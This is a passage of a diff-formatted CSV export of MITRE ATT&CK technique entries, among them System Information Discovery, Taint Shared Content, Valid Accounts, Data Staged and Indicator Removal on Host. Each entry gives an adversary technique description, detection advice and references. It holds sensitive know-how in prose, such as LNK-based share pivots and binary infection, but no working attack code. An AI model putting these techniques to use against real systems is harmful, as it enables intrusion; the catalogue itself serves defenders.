'source_name': 'Microsoft Virutal Machine API'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",2.2,False,https://attack.mitre.org/techniques/T1082,mitre-attack,T1082,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Information Discovery,"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,CAPEC-497,https://capec.mitre.org/data/definitions/497.html,"['Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls']",,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1082', 'external_id': 'T1082'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/312.html', 'external_id': 'CAPEC-312'}, {'source_name': 'OSX.FairyTale', 'description': 'Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.', 'url': 'https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/'}, {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'}, {'source_name': 'Amazon Describe Instance', 'description': 'Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.', 'url': 'https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html'}, {'source_name': 'Google Instances Resource', 'description': 'Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.', 'url': 'https://cloud.google.com/compute/docs/reference/rest/v1/instances'}, {'source_name': 'Microsoft Virutal Machine API', 'description': 'Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.', 'url': 'https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get'}]",2.3,attack-pattern,attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:04.307Z,2021-10-13T23:21:27.750Z,System Information Discovery,"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. -Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS systemsetup command, but it requires administrative privileges. +Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) -Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)",attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1,attack-pattern,['discovery'],2021-03-08T10:33:01.066Z,2017-05-31T21:31:04.307Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. +Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)",['discovery'],https://attack.mitre.org/techniques/T1082,mitre-attack,T1082,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Maril Vernon @shewhohacks', 'Praetorian']","['Instance: Instance Metadata', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). -In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.","['Instance: Instance Metadata', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",['Praetorian'],,['User'],"['Windows', 'IaaS', 'Linux', 'macOS']",,CAPEC-312,https://capec.mitre.org/data/definitions/312.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1080', 'url': 'https://attack.mitre.org/techniques/T1080'}, {'external_id': 'CAPEC-562', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/562.html'}, {'url': 'https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html', 'description': 'Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.', 'source_name': 'Retwin Directory Share Pivot'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.2,False,https://attack.mitre.org/techniques/T1080,mitre-attack,T1080,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Taint Shared Content," +In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.",False,['User'],"['Windows', 'IaaS', 'Linux', 'macOS']",,CAPEC-312,https://capec.mitre.org/data/definitions/312.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1080', 'external_id': 'T1080'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/562.html', 'external_id': 'CAPEC-562'}, {'source_name': 'Retwin Directory Share Pivot', 'description': 'Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.', 'url': 'https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html'}]",1.3,attack-pattern,attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:01.759Z,2021-10-17T14:12:33.188Z,Taint Shared Content," Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally. A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot) -Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.",attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c,attack-pattern,['lateral-movement'],2020-03-31T22:14:56.107Z,2017-05-31T21:31:01.759Z,"Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques. +Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.",['lateral-movement'],https://attack.mitre.org/techniques/T1080,mitre-attack,T1080,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Michal Dida, ESET', 'David Routin']","['Process: Process Creation', 'File: File Creation', 'File: File Modification', 'Network Share: Network Share Access']",,"Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques. -Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.","['Process: Process Creation', 'File: File Creation', 'File: File Modification', 'Network Share: Network Share Access']","['Michal Dida, ESET', 'David Routin']",,['User'],['Windows'],,CAPEC-562,https://capec.mitre.org/data/definitions/562.html,['Access to shared folders and content with write permissions'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1078', 'url': 'https://attack.mitre.org/techniques/T1078'}, {'external_id': 'CAPEC-560', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/560.html'}, {'url': 'https://technet.microsoft.com/en-us/library/dn535501.aspx', 'description': 'Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.', 'source_name': 'TechNet Credential Theft'}, {'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'source_name': 'TechNet Audit Policy'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",2.2,False,https://attack.mitre.org/techniques/T1078,mitre-attack,T1078,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Valid Accounts,"Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. +Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.",False,['User'],"['Windows', 'Office 365', 'SaaS', 'Linux', 'macOS']",,CAPEC-562,https://capec.mitre.org/data/definitions/562.html,['Access to shared folders and content with write permissions'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1078', 'external_id': 'T1078'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/560.html', 'external_id': 'CAPEC-560'}, {'source_name': 'TechNet Credential Theft', 'description': 'Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn535501.aspx'}, {'source_name': 'TechNet Audit Policy', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx'}]",2.3,attack-pattern,attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:00.645Z,2021-10-19T03:29:48.018Z,Valid Accounts,"Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. -The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)",attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81,attack-pattern,"['defense-evasion', 'persistence', 'privilege-escalation', 'initial-access']",2021-04-12T18:27:52.298Z,2017-05-31T21:31:00.645Z,"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). +The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)","['defense-evasion', 'persistence', 'privilege-escalation', 'initial-access']",https://attack.mitre.org/techniques/T1078,mitre-attack,T1078,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jon Sternstein, Stern Security', 'Yossi Weizman, Azure Defender Research Team', 'Netskope', 'Mark Wee', 'Praetorian']","['Logon Session: Logon Session Metadata', 'User Account: User Account Authentication', 'Logon Session: Logon Session Creation']","['Firewall', 'Host intrusion prevention systems', 'Network intrusion detection system', 'Application control', 'System access controls', 'Anti-virus']","Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). -Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']","['Yossi Weizman, Azure Defender Research Team', 'Netskope', 'Mark Wee', 'Praetorian']","['Firewall', 'Host intrusion prevention systems', 'Network intrusion detection system', 'Application control', 'System access controls', 'Anti-virus']","['User', 'Administrator']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-560,https://capec.mitre.org/data/definitions/560.html,,,"['User', 'Administrator']",,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1074', 'url': 'https://attack.mitre.org/techniques/T1074'}, {'source_name': 'PWC Cloud Hopper April 2017', 'description': 'PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.', 'url': 'https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf'}, {'source_name': 'Mandiant M-Trends 2020', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.3,False,https://attack.mitre.org/techniques/T1074,mitre-attack,T1074,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data Staged,"Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017) +Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",False,"['User', 'Administrator']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-560,https://capec.mitre.org/data/definitions/560.html,,,"['User', 'Administrator']",,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1074', 'external_id': 'T1074'}, {'source_name': 'PWC Cloud Hopper April 2017', 'description': 'PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.', 'url': 'https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf'}, {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'}]",1.3,attack-pattern,attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:58.938Z,2021-03-08T10:33:00.855Z,Data Staged,"Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017) In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020) -Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.",attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e,attack-pattern,['collection'],2021-03-08T10:33:00.855Z,2017-05-31T21:30:58.938Z,"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. +Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.",['collection'],https://attack.mitre.org/techniques/T1074,mitre-attack,T1074,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Praetorian', 'Shane Tully, @securitygypsy']","['File: File Access', 'File: File Creation', 'Command: Command Execution']",,"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. -Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['File: File Access', 'File: File Creation', 'Command: Command Execution']","['Praetorian', 'Shane Tully, @securitygypsy']",,,"['Windows', 'IaaS', 'Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1072', 'url': 'https://attack.mitre.org/techniques/T1072'}, {'external_id': 'CAPEC-187', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/187.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",2.1,False,https://attack.mitre.org/techniques/T1072,mitre-attack,T1072,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Software Deployment Tools,"Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.). +Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,,"['Windows', 'IaaS', 'Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1072', 'external_id': 'T1072'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/187.html', 'external_id': 'CAPEC-187'}]",2.1,attack-pattern,attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:57.201Z,2020-12-11T17:00:00.938Z,Software Deployment Tools,"Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.). Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. -The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.",attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414,attack-pattern,"['execution', 'lateral-movement']",2020-12-11T17:00:00.938Z,2017-05-31T21:30:57.201Z,"Detection methods will vary depending on the type of third-party software or system and how it is typically used. +The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.","['execution', 'lateral-movement']",https://attack.mitre.org/techniques/T1072,mitre-attack,T1072,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Shane Tully, @securitygypsy']","['Application Log: Application Log Content', 'Process: Process Creation']",,"Detection methods will vary depending on the type of third-party software or system and how it is typically used. The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage. -Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.","['Application Log: Application Log Content', 'Process: Process Creation']","['Shane Tully, @securitygypsy']",,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",True,CAPEC-187,https://capec.mitre.org/data/definitions/187.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1071', 'url': 'https://attack.mitre.org/techniques/T1071'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",2.0,False,https://attack.mitre.org/techniques/T1071,mitre-attack,T1071,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Application Layer Protocol,"Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. +Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.",False,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",True,CAPEC-187,https://capec.mitre.org/data/definitions/187.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1071', 'external_id': 'T1071'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",2.0,attack-pattern,attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:56.776Z,2020-10-21T16:35:45.986Z,Application Layer Protocol,"Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. -Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ",attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6,attack-pattern,['command-and-control'],2020-10-21T16:35:45.986Z,2017-05-31T21:30:56.776Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1070', 'url': 'https://attack.mitre.org/techniques/T1070'}, {'external_id': 'CAPEC-93', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/93.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.2,False,https://attack.mitre.org/techniques/T1070,mitre-attack,T1070,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Indicator Removal on Host,"Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*. +Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ",['command-and-control'],https://attack.mitre.org/techniques/T1071,mitre-attack,T1071,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1070', 'external_id': 'T1070'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/93.html', 'external_id': 'CAPEC-93'}]",1.2,attack-pattern,attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:55.892Z,2021-07-27T15:23:52.099Z,Indicator Removal on Host,"Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as 